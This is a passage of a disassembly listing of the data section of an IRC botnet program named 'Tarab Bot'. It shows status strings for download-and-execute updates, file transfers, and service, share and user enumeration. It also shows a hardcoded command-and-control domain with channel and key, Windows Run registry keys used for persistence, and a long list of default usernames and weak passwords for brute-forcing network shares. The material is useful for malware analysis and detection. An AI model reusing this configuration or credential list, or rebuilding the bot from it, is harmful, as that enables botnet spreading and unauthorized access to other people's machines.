7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C330+2FAo dd 2BBBB02h aTransferComp_0 db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0 dword_42D3F8 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C330+202o dd 2BBBB02h aUnableToOpenSo db ' Unable to open socket.',0 align 4 dword_42D42C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C330+1CBo dd 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h, 2E7475h dword_42D454 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C330+16Ao dd 169h dword_42D46C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C330+127o dd 2BBBB02h aFileDoesnTExis db ' File doesn',27h,'t exist.',0 align 4 dword_42D49C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C330+82o dd 2BBBB02h aFailedToBindTo db ' Failed to bind to socket.',0 dword_42D4D0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C330+44o dd 2BBBB02h aFailedToCreate db ' Failed to create socket.',0 align 8 unk_42D508 db 2 ; DATA XREF: sub_40C6D2+1CFo db 36h, 2, 72h db 62h ; b db 1Fh, 20h, 28h db 64h ; d db 2 dup(63h), 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aTarabBotTransf db ' Tarab Bot Transfer complete from IP: %s, Filename: %s (%s bytes' db ').',0 unk_42D564 db 2 ; DATA XREF: sub_40C6D2+156o db 36h, 2, 72h db 62h ; b db 1Fh, 20h, 28h db 64h ; d db 2 dup(63h), 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aTarabBotSocket db ' Tarab Bot Socket error.',0 align 4 unk_42D598 db 2 ; DATA XREF: sub_40C6D2+CBo db 36h, 2, 72h db 62h ; b db 1Fh, 20h, 28h db 64h ; d db 2 dup(63h), 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aTarabBotErrorO db ' Tarab Bot Error opening socket.',0 align 8 unk_42D5D8 db 2 ; DATA XREF: sub_40C6D2+ABo db 36h, 2, 72h db 62h ; b db 1Fh, 20h, 28h db 64h ; d db 2 dup(63h), 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aTarabBotErro_0 db ' Tarab Bot Error opening file for writing.',0 aAB db 'a+b',0 ; DATA XREF: sub_40C6D2+97o dword_42D620 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C6D2+83o dd 2BBBB02h aErrorUnableToW db ' Error unable to write file to disk.',0 align 10h dword_42D660 dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh ; DATA XREF: sub_40C90D+480o dd 2029671Fh, 2BBBB02h aTarabBotBadUrl db ' Tarab Bot Bad URL, or DNS Error: %s.',0 align 8 dword_42D6A8 dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh ; DATA XREF: sub_40C90D+472o dd 2029671Fh, 2BBBB02h aTarabBotUpdate db ' Tarab Bot Update failed: Error executing file: %s.',0 align 10h unk_42D700 db 2 ; DATA XREF: sub_40C90D+3B6o db 36h, 2, 72h db 62h ; b db 20h, 28h, 64h db 6Fh ; o db 77h, 6Eh, 6Ch db 6Fh ; o db 61h, 64h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aTarabBotDownlo db 'Tarab Bot Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 dword_42D758 dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh ; DATA XREF: sub_40C90D+34Do dd 2029671Fh, 2BBBB02h aTarabBotOpened db ' Tarab Bot Opened: %s.',0 align 10h aOpen db 'open',0 ; DATA XREF: sub_40C90D+32Bo ; sub_40EC43+2B0Ao ... align 4 dword_42D798 dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh ; DATA XREF: sub_40C90D+2D6o dd 2029671Fh, 2BBBB02h aTarabBotDown_0 db ' Tarab Bot Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 10h dword_42D7F0 dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh ; DATA XREF: sub_40C90D+257o dd 2029671Fh, 2BBBB02h aTarabBotCrcFai db ' Tarab Bot CRC Failed (%d != %d).',0 dword_42D830 dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh ; DATA XREF: sub_40C90D+1CDo dd 2029671Fh, 2BBBB02h aTarabBotFilesi db ' Tarab Bot Filesize is incorrect: (%d != %d).',0 align 10h dword_42D880 dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh ; DATA XREF: sub_40C90D:loc_40CAA5o dd 2029671Fh, 2BBBB02h aTarabBotUpda_0 db ' Tarab Bot Update: %s (%dKB transferred).',0 dword_42D8C8 dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh ; DATA XREF: sub_40C90D+191o dd 2029671Fh, 2BBBB02h aTarabBotFileDo db ' Tarab Bot File download: %s (%dKB transferred).',0 align 4 dword_42D918 dd 72023602h, 28201F62h, 6E776F64h, 64616F6Ch, 6C1F702Eh ; DATA XREF: sub_40C90D+77o dd 2029671Fh, 2BBBB02h aTarabBotCouldn db ' Tarab Bot Couldn',27h,'t open file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_40CEA1:loc_40CEE4o ; sub_40DD54+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_40CEA1:loc_40CEDEo aDisk db 'Disk',0 ; DATA XREF: sub_40CEA1:loc_40CED8o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_40CEA1:loc_40CED2o aCdrom db 'Cdrom',0 ; DATA XREF: sub_40CEA1:loc_40CECCo align 4 aRam db 'RAM',0 ; DATA XREF: sub_40CEA1:loc_40CEC6o aFailed db 'failed',0 ; DATA XREF: sub_40CF32:loc_40D00Ao ; sub_40D04D+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_40CF32+6Bo align 4 unk_42D998 db 2 ; DATA XREF: sub_40D04D+8Eo db 36h, 2, 72h db 62h ; b db 20h, 28h, 63h db 6Fh ; o db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 8 dword_42D9E8 dd 72023602h, 28201F62h, 65726F63h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D04D+58o dd 2BBBB02h aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 align 4 aA_0 db 'A:\',0 ; DATA XREF: sub_40D11F:loc_40D164o dword_42DA38 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D2C2+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42DA84 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40D2C2+E3o ; --------------------------------------------------------------------------- loc_42DAA0: ; DATA XREF: sub_40D2C2+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_42DAB4 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_40D2C2+13Fo dword_42DAC8 dd 25207325h, 253A2073h, 0A0D73h ; DATA XREF: sub_40D476+58o aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D476+16o ; sub_40EC43+5E1o aNotice db 'NOTICE',0 ; DATA XREF: sub_40D476+Fo ; sub_40EC43+5EDo align 8 off_42DAE8 dd offset aAdd ; DATA XREF: sub_40D511+6Dr ; sub_40D8F8+50r ... ; "Add" off_42DAEC dd offset aAdded ; DATA XREF: sub_40D511+2Dr ; sub_40D8F8+82r ... ; "Added" dword_42DAF0 dd 0 ; DATA XREF: sub_40D511+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 42DB5Ch, 42DB54h, 2, 42DB48h, 42DB3Ch, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: .data:0042DB1Co aStop_0 db 'Stop',0 ; DATA XREF: .data:0042DB18o align 4 aStarted db 'Started',0 ; DATA XREF: .data:0042DB10o aStart_0 db 'Start',0 ; DATA XREF: .data:0042DB0Co align 4 aListed db 'Listed',0 ; DATA XREF: .data:0042DB04o align 4 aList_0 db 'List',0 ; DATA XREF: .data:0042DB00o align 4 aDeleted db 'Deleted',0 ; DATA XREF: .data:0042DAF8o aDelete_0 db 'Delete',0 ; DATA XREF: .data:0042DAF4o align 4 aAdded db 'Added',0 ; DATA XREF: .data:off_42DAECo align 4 aAdd db 'Add',0 ; DATA XREF: .data:off_42DAE8o dword_42DBB0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D511+74o dd 2BBBB02h aSNoServiceSpec db ' %s: No service specified.',0 dword_42DBE4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D511+55o dd 2BBBB02h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 dword_42DC1C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D511+38o dd 2BBBB02h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D63A+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40D63A:loc_40D752o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40D63A:loc_40D74Bo align 10h aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_40D63A:loc_40D744o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_40D63A:loc_40D73Do align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_40D63A:loc_40D736o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_40D63A:loc_40D72Fo align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40D63A:loc_40D728o align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_40D63A:loc_40D721o align 8 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_40D63A:loc_40D71Ao db 'marked for deletion.',0 align 10h aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_40D63A:loc_40D713o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_40D63A:loc_40D6E8o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_40D63A:loc_40D6E1o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_40D63A:loc_40D6DAo db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_40D63A:loc_40D6D3o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40D63A+8Fo align 10h aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_40D63A:loc_40D6A8o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_40D63A:loc_40D69Eo aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_40D63A:loc_40D694o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40D63A:loc_40D68Ao align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_40D63A:loc_40D680o align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D63A+3Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40D7B8+EEo aStopped db ' Stopped',0 ; DATA XREF: sub_40D7B8:loc_40D887o aStarting db ' Starting',0 ; DATA XREF: sub_40D7B8:loc_40D880o aStoping db ' Stoping',0 ; DATA XREF: sub_40D7B8:loc_40D879o aRunning db ' Running',0 ; DATA XREF: sub_40D7B8:loc_40D872o aContinuing db ' Continuing',0 ; DATA XREF: sub_40D7B8:loc_40D86Bo aPausing db ' Pausing',0 ; DATA XREF: sub_40D7B8:loc_40D864o aPaused_0 db ' Paused',0 ; DATA XREF: sub_40D7B8:loc_40D85Do aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_40D7B8+9Eo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_40D7B8+25o align 4 dword_42E18C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D8F8+ABo dd 2BBBB02h aSNoShareSpecif db ' %s: No share specified.',0 align 10h dword_42E1C0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D8F8+89o dd 2BBBB02h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 4 dword_42E1EC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D8F8+57o dd 2BBBB02h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DAED+D0o align 10h aNo db 'No',0 ; DATA XREF: sub_40DAED+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_40DAED+B5o dword_42E248 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAED+76o dd 2BBBB02h aShareListError db ' Share list error: %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_40DAED+26o align 4 dword_42E2B8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DC0E+B6o dd 2BBBB02h aSNoUsernameSpe db ' %s: No username specified.',0 align 10h dword_42E2F0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DC0E+94o dd 2BBBB02h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 dword_42E32C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DC0E+6Do dd 2BBBB02h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 4 dword_42E35C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DD54+394o dd 2BBBB02h aUserInfoErrorL db ' User info error: <%ld>',0 align 10h aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40DD54+36Ao align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40DD54+33Fo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DD54+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40DD54+2ECo align 10h aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40DD54+2C4o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40DD54+299o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40DD54+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40DD54+246o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40DD54+21Eo align 10h aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DD54+1F3o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40DD54+1CBo align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40DD54+1A0o align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40DD54+178o align 10h aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40DD54+14Do align 10h aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40DD54+125o aGuest db 'Guest',0 ; DATA XREF: sub_40DD54:loc_40DE6Do align 4 aUser_1 db 'User',0 ; DATA XREF: sub_40DD54:loc_40DE66o align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_40DD54:loc_40DE5Fo ; .data:0042EAB8o ... align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40DD54+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40DD54+ACo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40DD54+81o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_40DD54+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40E122+145o align 4 dword_42E528 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E122:loc_40E20Fo dd 2BBBB02h aAnAccessViolat db ' An access violation has occured.',0 align 4 aS_6 db ' %S',0 ; DATA XREF: sub_40E122+BAo align 4 dword_42E56C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E122+7Ao dd 2BBBB02h aUserListErrorS db ' User list error: %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40E122+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40E298:loc_40E3B5o align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40E298:loc_40E3AEo align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40E298:loc_40E3A7o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40E298:loc_40E3A0o align 4 aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40E298:loc_40E399o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_40E298:loc_40E37Co db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40E298:loc_40E375o align 10h aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40E298:loc_40E36Eo align 8 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_40E298+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_40E298:loc_40E343o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E298:loc_40E33Co aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_40E298:loc_40E335o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E298:loc_40E32Bo align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40E298+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40E298:loc_40E305o align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40E298:loc_40E2FBo align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40E298:loc_40E2F1o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_40E298:loc_40E2E7o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40E298:loc_40E2DDo align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40E298+3Bo align 4 dword_42E888 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E3CC+ABo dd 2BBBB02h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 dword_42E8C0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E3CC+81o dd 2BBBB02h aMessageSentSuc db ' Message sent successfully.',0 align 4 dword_42E8F8 dd 1F90h ; DATA XREF: sub_40E48A+391r ; sub_40E48A+444r dword_42E8FC dd 1F91h ; DATA XREF: sub_40E48A+490r dword_42E900 dd 30EAh ; DATA XREF: sub_40EC43:loc_4149C3r dword_42E904 dd 18F4h ; DATA XREF: sub_4070A3+3Br ; sub_40EC43+528Fr dword_42E908 dd 1BB0h ; DATA XREF: sub_4070A3:loc_407352r ; sub_40EC43:loc_413FC3r dword_42E90C dd 0A84h ; DATA XREF: sub_40EC43:loc_414138r dword_42E910 dd 1 ; DATA XREF: sub_40EC43+623r dword_42E914 dd 1 ; DATA XREF: sub_40E48A+13Ar dword_42E918 dd 1 ; DATA XREF: sub_40AA70+Cr ; sub_40E48A:loc_40E7A7r byte_42E91C db 2Eh ; DATA XREF: sub_40CDEC:loc_40CDF8r ; sub_40EC43+A99r ... align 10h dword_42E920 dd 6 ; DATA XREF: sub_415704+2Br ; sub_415704+51r ... dword_42E924 dd 4 ; DATA XREF: sub_40E961+78r ; sub_40EC43+26Er ... a8652 db '8652',0 align 10h aAdministrato_0 db 'administrator',0 align 10h aSym db 'sym',0 dd 0 db 2 dup(0) byte_42E94A db 1 ; DATA XREF: sub_40EC43:loc_413AC7r ; sub_40EC43+4E8Eo aAsn445 db 'asn445',0 align 4 dd 100h, 3 dup(0) aBotid db 'botid',0 ; DATA XREF: sub_40E48A+5Ao ; sub_40EC43+3E0Ao ... align 4 aTarabTool db 'Tarab tool',0 ; DATA XREF: sub_40EC43:loc_414BC2o align 4 a3zef db '3zef',0 ; DATA XREF: sub_40EC43+60EFo ; sub_40EC43+61B2o align 10h aSakenQlbe_net db 'saken-qlbe.net',0 ; DATA XREF: sub_40E48A+37Co ; sub_40E48A+435o align 10h a1 db '#1#',0 ; DATA XREF: sub_40E48A+39Do ; sub_40E48A+44Bo a7lome db '7lome',0 ; DATA XREF: sub_40E48A+3B4o ; sub_40E48A+45Do align 4 byte_42E99C db 73h ; DATA XREF: sub_40E48A:loc_40E8FDr ; sub_40E48A+481o db 61h, 6Bh, 65h dd 6C712D6Eh, 6E2E6562h, 7465h dword_42E9AC dd 233123h ; DATA XREF: sub_40E48A+497o a7lome_0 db '7lome',0 ; DATA XREF: sub_40E48A+4A9o align 4 byte_42E9B8 db 74h ; DATA XREF: sub_402B61+Fo ; sub_4030BE+81o ... db 69h, 63h, 74h dd 2E666876h, 657865h dword_42E9C4 dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022B5+3Do aSystam13 db 'Systam13',0 ; DATA XREF: sub_40BFCF+Bo align 4 aBot db '[bot]-',0 ; DATA XREF: sub_415704+12o align 4 aFirstswin_exe db 'firstswin.exe',0 align 4 aXi db '+xi',0 ; DATA XREF: sub_40EC43+6232o a2 db '#2',0 ; DATA XREF: sub_40EC43:loc_411E86o ; sub_40EC43+504Eo align 4 a2_0 db '#2',0 ; DATA XREF: sub_40EC43+1E93o align 10h a2_1 db '#2',0 ; DATA XREF: sub_40EC43+1CE5o align 4 off_42EA04 dd offset a@admin_com ; DATA XREF: sub_40EC43+6152r ; "*@admin.com" off_42EA08 dd offset aTarabTool_0 ; DATA XREF: sub_40EC43+87Dr ; "Tarab tool" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: .data:off_42D2B0o align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415CC2+28o ; sub_415FE8+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415CC2+D4o ; sub_415FE8+D4o align 8 dd offset aAdministrator ; "Administrator" dd offset aAdministrato_1 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" align 10h dd offset byte_43BCE8 dd offset byte_43BCE8 dd offset aAdministrato_2 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_1 ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_0 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem ; "SYSTEM" dd offset aServer_0 ; "SERVER" dd offset aPepsi ; "pepsi" dd offset aLocal ; "LOCAL" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aChangeme_0 ; "Changeme" dd offset aTemp123 ; "temp123" dd offset a1_0 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a654321 ; "654321" dd offset a54321 ; "54321" dd offset a111 ; "111" dd offset a11111111 ; "11111111" dd offset a88888888 ; "88888888" dd offset aPass_0 ; "pass" dd offset aPasswd ; "passwd" dd offset aDatabase ; "database" dd offset aAbcd ; "abcd" dd offset aAbc123 ; "abc123" dd offset aOracle ; "oracle" dd offset aSybase ; "sybase" dd offset a123qwe ; "123qwe" dd offset aComputer ; "computer" dd offset aInternet ; "Internet" dd offset aSuper ; "super" dd offset a123asd ; "123asd" dd offset aIhavenopass ; "ihavenopass" dd offset aGodblessyou ; "godblessyou" dd offset aEnable ; "enable" dd offset aXp_0 ; "xp" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2600 ; "2600" dd offset a110 ; "110" dd offset a111111 ; "111111" dd offset a121212 ; "121212" dd offset a123123 ; "123123" dd offset a1234qwer ; "1234qwer" dd offset a123abc ; "123abc" dd offset a007 ; "007" dd offset aAlpha ; "alpha" dd offset aPatrick ; "patrick" dd offset aPat ; "pat" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aFoobar ; "foobar" dd offset aNilez ; "Nilez" dd offset aDevil ; "devil" dd offset aNetdevil ; "netdevil" dd offset aNetDevil ; "net-devil" dd offset a0wned ; "0wned" dd offset aOwned ; "owned" dd offset aIrule ; "irule" dd offset aNetfuck ; "netfuck" dd offset aFucked ; "fucked" dd offset aCrash ; "crash" dd offset aA_1 ; "a" dd offset aAaa ; "aaa" dd offset aAbc ; "abc" dd offset aTest123 ; "test123" dd offset aWin ; "win" dd offset aPc ; "pc" dd offset aAsdf ; "asdf" dd offset aSecret ; "secret" dd offset aQwer ; "qwer" dd offset aYxcv ; "yxcv" dd offset aZxcv ; "zxcv" dd offset aHome ; "home" dd offset aLogin ; "login" dd offset aPwd ; "pwd" dd offset aLove ; "love" dd offset aMypc ; "mypc" dd offset aMypc123 ; "mypc123" dd offset aAdmin123 ; "admin123" dd offset aPw123 ; "pw123" dd offset aMypass ; "mypass" dd offset aMypass123 ; "mypass123" dd offset aPw ; "pw" dd offset aMat ; "Mat" dd offset aMatt ; "Matt" dd offset aMatthew ; "Matthew" dd offset aGobo ; "gobo" dd offset aSatan ; "satan" dd offset aSatanik ; "satanik" dd offset aSatanic ; "satanic" dd offset aSpaceman ; "spaceman" dd offset aHeaven ; "heaven" dd offset aW00t ; "w00t" dd offset a0wn3d ; "0wn3d" dd offset aKiller ; "killer" dd offset aLeet ; "leet" dd offset aL33t ; "l33t" dd offset aL337 ; "l337" dd offset aHacker ; "hacker" dd offset aHax0r ; 